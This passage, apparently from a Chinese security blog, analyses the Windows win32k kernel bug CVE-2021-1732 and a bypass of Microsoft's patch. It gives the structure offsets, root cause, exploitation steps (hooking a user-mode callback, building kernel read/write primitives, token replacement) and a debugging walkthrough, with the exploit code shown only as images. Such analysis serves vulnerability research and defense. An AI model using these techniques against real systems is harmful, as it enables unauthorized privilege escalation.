#282c34;border-radius: 5px;">ptagWND(win10)<br/>    0x10 unknown<br/>        0x00 pTEB<br/>            0x220 pEPROCESS(of current process)<br/>        0x1A0 pEPROCESS(of current process)<br/>    0x18 unknown<br/>        0x80 kernel desktop heap base<br/>        0xA8 spMenu<br/>    0x28 ptagWNDk(tagWND(win7))<br/>        0x00 hwnd<br/>        0x08 kernel desktop heap base offset<br/>        0x18 dwStyle<br/>        0x58 Window Rect left<br/>        0x5C Window Rect top<br/>        0x98 spMenu(uninitialized)<br/>        0xC8 cbWndExtra<br/>        0xE8 dwExtraFlag<br/>        0x128 pExtraBytes<br/>    0x90 spMenu<br/>        0x00 hMenu<br/>        0x18 unknown0<br/>            0x100 unknown<br/>                0x00 pEPROCESS(of current process)<br/>        0x28 unknown1<br/>            0x2C cItems(<span style="color: #c678dd;line-height: 26px;">for</span> check)<br/>        0x40 unknown2(<span style="color: #c678dd;line-height: 26px;">for</span> check)<br/>        0x44 unknown3(<span style="color: #c678dd;line-height: 26px;">for</span> check)<br/>        0x50 ptagWND<br/>        0x58 rgItems<br/>            0x00 unknown(<span style="color: #c678dd;line-height: 26px;">for</span> exploit)<br/>        0x98 spMenuk<br/>            0x00 pSelf<br/>    0xA8 spMenu<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在tagWND结构体中，较为重要的是cbWndExtra、dwExtraFlag、pExtraBytes。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">cbWndExtra我们已经知道，表示扩展内存的大小，这里重点介绍pExtraBytes和dwExtraFlag。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">总的来说，pExtraBytes与窗口的扩展内存地址相关，当我们调用SetWindowLong函数来操作窗口的扩展内存时，内核中实际会调用win32kfull!xxxSetWindowLong函数，此函数内会判断dwExtraFlag的值，通过dwExtraFlag的值来决定pExtraBytes内保存相对地址偏移还是地址。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当dwExtraFlag &amp; 0x800等于0时，也就是dwExtraFlag没有控制台窗口标志，此时窗口的扩展内存位于用户桌面堆，pExtraBytes内保存位于用户空间的扩展内存的地址。当dwExtraFlag &amp; 0x800不为0时，表示当前的dwExtraFlag具有控制台窗口标志，此时窗口的扩展内存位于内核桌面堆，pExtraBytes内保存扩展内存与内核桌面堆基址的偏移。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxSetWindowLong</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2069857697283312" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="773" src="https://wechat2rss.xlab.app/img-proxy/?k=e044fefd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfEu7kfibx094aMT363RIzIA2MjCicuyiaykWI01h5Eubac20bqSCbceNHQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>那dwExtraFlag由谁来控制？</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">正常情况下，调用CreateWindowExW创建一个Windows窗口，在内核中会调用xxxCreateWindowEx，接着会判断tagWNDk.cbWndExtra是否为0，不为0时，就会调用win32kfull!xxxClientAllocWindowClassExtraBytes ，win32kfull!xxxClientAllocWindowClassExtraBytes函数内会通过nt!KeUserModeCallback调用用户模式回调函数user32!_xxxClientAllocWindowClassExtraBytes，在回调函数内，会申请一块cbWndExtra大小的堆空间，并将申请的堆空间地址作为NtCallbackReturn的第一个参数，接着调用NtCallbackReturn，进行堆栈修正并返回内核层，将用户空间堆地址赋tagWNDk.pExtraBytes。在上述流程中，并没有操作tagWNDk.dwExtraFlag，所以此时dwExtraFlag的默认值不具有控制台窗口标志，那么pExtraBytes内也就保存的是地址，而不是偏移。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxClientAllocWindowClassExtraBytes</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3908754623921085" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="811" src="https://wechat2rss.xlab.app/img-proxy/?k=3c5b5234&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfweLzXPCeQ7hr9toibHWiaYoFpOGg0fZWznY1lCp5nIic2oafX4ia4Y95EQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">user32!_xxxClientAllocWindowClassExtraBytes</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.32625482625482627" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="518" src="https://wechat2rss.xlab.app/img-proxy/?k=afba20f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfUYcuniaQllo7ZVMB0U17ltzBza8g9wb61rPUNVyJ3Z9VUye9J5uTQxw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但如果在用户态调用未公开的user32!ConsoleControl函数，就可以实现在内核桌面堆中申请空间作为扩展内存，并且设置tagWNDk.dwExtraFlag具有控制台窗口标志。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">用户态调用未公开的user32!ConsoleControl函数时，实际会调用内核中的win32kfull!NtUserConsoleControl函数。如果此时参数1，也就是功能号为6，且第三个参数，也就是参数信息的长度不大于0x18时，就会调用win32kfull!xxxConsoleControl。在xxxConsoleControl函数中先判断了dwExtraFlag的值，然后通过DesktopAlloc从内核桌面堆中申请空间，接着判断当前pExtraBytes的值，如果不为0，则表示当前窗口已经有一个扩展内存，就调用xxxClientFreeWindowClassExtraBytes将其释放，然后将申请的内核桌面堆空间与内核桌面堆基址的偏移赋给pExtraBytes，最后修改dwExtraFlag，使其具有控制台窗口标志。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!xxxConsoleControl</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.39143426294820716" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1004" src="https://wechat2rss.xlab.app/img-proxy/?k=75a87bdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf5CDZCgXcla82bE1BqTUFVpumPtNtP4FQicgUgz7RZ8OkjgiakJA23uag%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>对上面的内容进行一个总结：</strong></p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">创建的窗口可以具有扩展内存，Windows提供了SetWindowLong等API可以对扩展内存进行操作。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用SetWindowLong等API操作扩展内存时，在内核中具体索引这块内存是由pExtraBytes来决定的，而dwExtraFlag又决定了pExtraBytes内保存偏移还是地址。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">当dwExtraFlag &amp; 0x800 == 0时，窗口扩展内存位于用户空间桌面堆，pExtraBytes中保存用户空间扩展内存堆地址。使用扩展内存时，通过 pExtraBytes+nIndex 索引内存。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">当dwExtraFlag &amp; 0x800 != 0时，窗口扩展内存位于内核桌面堆，pExtraBytes中保存扩展内存与内核桌面堆基址的偏移。使用扩展内存时，通过 内核桌面堆基址+pExtraBytes+nIndex 索引内存。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">而dwExtraFlag又可以通过在用户层调用user32!ConsoleControl来进行控制。</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时漏洞已经清晰明了，内核中的xxxCreateWindowEx对于xxxClientAllocWindowClassExtraBytes的返回值没有进行任何判断就赋给tagWNDk.pExtraBytes，而用户层的ConsoleControl函数又可以直接控制tagWNDk.dwExtraFlag，导致调用SetWindowLong函数时，发生类型混淆，从而可以直接操作内核内存。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>如何利用？</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">内核漏洞一般都被用于权限提升，而权限提升最常用的方法就是TOKEN替换，但是TOKEN结构位于内核层，这意味着我们需要具备内核地址读写的能力，而dwExtraFlag的值可以决定是否让SetWindowLong操作内核内存，所以对于CVE-2021-1732，漏洞利用的思路如下。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">正常创建具有扩展内存的窗口都会通过nt!KeUserModeCallback回调机制来调用用户态的 user32!_xxxClientAllocWindowClassExtraBytes 函数，我们对user32!_xxxClientAllocWindowClassExtraBytes进行HOOK，在HOOK函数中调用user32!ConsoleControl，实现对dwExtraFlag的修改（其实这里也会修改pExtraBytes），接着调用ntdll!NtCallbackReturn，向回调函数返回一个指定的内核地址（此地址会覆盖被user32!ConsoleControl修改过的pExtraBytes），回调结束后，我们已经实现了对dwExtraFlag和pExtraBytes的修改，此时再利用SetWindowLong就可以直接操作内核内存了，实际上此时已经实现了相对地址写原语，接着我们利用这个相对地址写原语继续构造出读原语，最终实现EXP进程的TOKEN替换。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这里借用两张iamelli0t图，有助于理解。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>正常流程</strong></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6212765957446809" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1175" src="https://wechat2rss.xlab.app/img-proxy/?k=15e279d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfUrtlFPCYartJPkVTGBeSDEHeqPubdnqj7kwcWia05OenAuVFZBCDRXg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>漏洞利用流程</strong></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7687687687687688" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="999" src="https://wechat2rss.xlab.app/img-proxy/?k=564c7471&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfibYDB0oicYH6ARFXTSztAYN7lAuvaiaSoqnczxj5S5TgW9RGCfgqRlxEw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>补丁分析</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>win32kfull.sys 10.0.19041.1387</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过上述分析，我们已经知道，1732本质上是一个逻辑漏洞，创建窗口时，在win32kfull!xxxClientAllocWindowClassExtraBytes函数中通过nt!KeUserModeCallback回调机制来调用用户态的 user32!_xxxClientAllocWindowClassExtraBytes 函数，在回调返回后，没有对返回的扩展内存地址和dwExtraFlag进行校验，就直接用于内存寻址，从而导致了内核内存越界访问，到最后实现权限提升。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">那么微软的补丁就是在回调返回后，还没有给pExtraBytes赋值之前，检查tagWNDk.pExtraBytes值，如果pExtraBytes不为0，说明在回调函数中有异常行为，可能存在漏洞利用，从而对窗口等资源进行释放。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.256120527306968" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=b9ee9ccf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfNWibVOfMaXh2wyF4MBBqOibCqNxqzYgyBbVkMibzicdiacmJrXiao2Jj4TicA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>补丁绕过</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">绕过的思路比较简单，1732的利用流程是win32kfull!xxxCreateWindowEx -&gt; win32kfull!xxxClientAllocWindowClassExtraBytes -&gt; HOOK_xxxClientAllocWindowClassExtraBytes，而补丁代码在win32kfull!xxxCreateWindowEx函数中，所以我们只需找到一个能够调用win32kfull!xxxClientAllocWindowClassExtraBytes，但不是win32kfull!xxxCreateWindowEx函数，即可绕过补丁。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在IDA中利用交叉引用可以看到哪些函数中会调用win32kfull!xxxClientAllocWindowClassExtraBytes。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4335347432024169" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="662" src="https://wechat2rss.xlab.app/img-proxy/?k=05cbe144&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfFLL4InZO9txdTKAUCAhicaicZria3ElEFhXnHHp3ziaicvqcOf0eUUugiang%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如上图所示，xxxMenuWindowProc、xxxSwitchWndProc等函数都会调用win32kfull!xxxClientAllocWindowClassExtraBytes。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">EXP代码中，使用NtUserMessageCall来实现利用。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.06294536817102138" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="842" src="https://wechat2rss.xlab.app/img-proxy/?k=1012250c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfr6iaeMHMy7y8RzcebiaY7L5q6KynRcdXicicrabMW58VURFnFrMTqZfarg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">NtUserMessageCall调用时的栈回溯结果如下。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.17507136060894388" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1051" src="https://wechat2rss.xlab.app/img-proxy/?k=78d5487d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfR8EuLmGkNUoR8pVsJAUrE8Jj19owzaBiaXcw4nHcibaJeaQNEvzOntSg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到通过NtUserMessageCall函数，最终会执行到win32kfull!xxxSwitchWndProc，而xxxSwitchWndProc正好会调用win32kfull!xxxClientAllocWindowClassExtraBytes，从而进入我们的HOOK函数，到这里其实就实现了补丁绕过，接下来的利用流程和1732基本一致。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><span>动态调试</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这里按照EXP的执行流程进行调试分析。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面这块代码主要进行一些准备工作，获取相应函数的地址等。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4074492099322799" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="886" src="https://wechat2rss.xlab.app/img-proxy/?k=d6025f66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfnib1ysUicwr6VZTEqA9ZYFugxN0nh5IiaXyahiccNZMOk7u7Ticrk9VeRdQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">创建两个窗口类，后面的CreateWindowExW会利用这个窗口类来创建窗口。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5651105651105651" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="407" src="https://wechat2rss.xlab.app/img-proxy/?k=239d3a56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfTEHaDXyVQ9bKQTYmb8zINnTdtapf4rJBu7cmVEhu6jgDoTicnY3Pyww%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">循环创建10个窗口，将窗口句柄保存在arrhwndNormal数组中，通过 user32!HMValidateHandle获取每个窗口对应的tagWNDk结构在用户空间映射的地址并保存在qwfirstEntryDesktop数组中。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.9349470499243571" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="661" src="https://wechat2rss.xlab.app/img-proxy/?k=3e1a221c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfgrOO55JSlfiacXcG76ZRzOWv5EYKedoibMpxWRbRAOhHo1GRAELia0vvw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">判断创建的10窗口中，窗口1和窗口2对应的tagWNDk1和tagWNDk2对象，哪个位于高地址，哪个位于低地址。高地址对应的tagWNDk对象与内核桌面堆基址的偏移为kernel_desktop_heap_base_offset_Max，那相对应的低地址对应的tagWNDk对象与内核桌面堆基址的偏移为kernel_desktop_heap_base_offset_Min，最后销毁剩余的8个窗口。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.33115671641791045" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1072" src="https://wechat2rss.xlab.app/img-proxy/?k=6f1c6fc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfDADOHVuEo4YdO9STDZvKKLrV3miaExV3YLqHdQGaTfaB5bjGg4IIV1g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Windbg调试结果：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5957446808510638" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="799" src="https://wechat2rss.xlab.app/img-proxy/?k=a864287a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCft9xicZco1YLgkeAiaQx1coy4LRyN2PNVVuVjcsq7pYdlTeWNicsXZ5sJA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接下来的代码先将窗口1的扩展内存寻址模式通过NtUserConsoleControl改为offset模式，接着创建了窗口3，并HOOK了user32!xxxClientAllocWindowClassExtraBytes和user32!xxxClientFreeWindowClassExtraBytes，最后调用NtUserMessageCall，因为NtUserMessageCall最终会执行到win32kfull!xxxSwitchWndProc，从而通过win32kfull!xxxClientAllocWindowClassExtraBytes调用我们的HOOK函数，实现对窗口3扩展内存的修改。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5114155251141552" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="876" src="https://wechat2rss.xlab.app/img-proxy/?k=4b5dcfdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfzCNzL9NTC3YaanQzneRzDYqavx2DX2ic9KH6CEcPyJeCJt0kHA7ic7Aw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调试结果如下：</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调用NtUserConsoleControl，修改窗口1的dwExtraFlag和pExtraBytes。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6515723270440251" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=4a949e28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfFDRfMrHZOTib97PJUibkTNWwVbheadWfiavz5LBcZP0j4Kl2NJLYkfzIw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着创建第三个窗口</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.18147684605757197" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="799" src="https://wechat2rss.xlab.app/img-proxy/?k=a34b0589&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf5JyRQoxfs8icDTiaWZUweZw0L2ZHIiaL39YQ06OCiaQkWibiaGjoUNeGcMbg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">开始HOOK user32!xxxClientAllocWindowClassExtraBytes和user32!xxxClientFreeWindowClassExtraBytes。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8801498127340824" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="801" src="https://wechat2rss.xlab.app/img-proxy/?k=ec293618&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfRGLThbOo8thAB9Q7kCesGAEkWs19nwJCxdbn50ebrrkvmARBcB6baQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在g_newxxxClientFreeWindowClassExtraBytes函数中，调用NtUserConsoleControl修改dwExtraFlag，调用NtCallbackReturn，将窗口1的tagWNDk对象地址与内核桌面堆基址的偏移作为参数，回调返回后，将此偏移赋给窗口3的tagWNDk.pExtraBytes。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.6355311355311355" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="546" src="https://wechat2rss.xlab.app/img-proxy/?k=c3d6b868&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCf2YmpndqukLByQWxicelRl31CEPcEXccqoW03iaJf9FaySEJb0tQ2oCJg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">HOOK完成后，就要调用NtUserMessageCall对窗口3的cbWndExtra和pExtraBytes的修改，从上面EXP的源码可以看到，NtUserMessageCall的参数2和参数6分别Message和dwStyle，其中Message的值为0x1，dwStyle的值为0xE0。关于这两个参数的用途，可以从下图得知。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32k!NtUserMessageCall</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.34407484407484407" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=13c76896&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfVEYRaKIeqFjZrUGC5JLlSUGgLceHvC87mUo8t8vgO9YsFJXRKgpnWg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">NtUserMessageCall函数的参数2为 WM_CREATE，也就是1，所以Message[1]==2</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.10297482837528604" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="437" src="https://wechat2rss.xlab.app/img-proxy/?k=b2848ef1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfEhjjH4wvZjciaPP2WSwR6k0ITelV0m0YNVdTfOsziaHNhlF2NoxyviaIg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以gapfnMessageCall[2]==NtUserfnINLPCREATESTRUCT</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.12446351931330472" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="699" src="https://wechat2rss.xlab.app/img-proxy/?k=6076ad80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD510oY0lsmQcHNYTpTfHeCfict5A0Q05yLdqWsN0lLEBhIxDLGickhPZQqia63zXLzUS2jiavq9gYicUcw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">win32kfull!NtUserfnINLPCREATESTRUCT</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.1318051575931232" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1047" 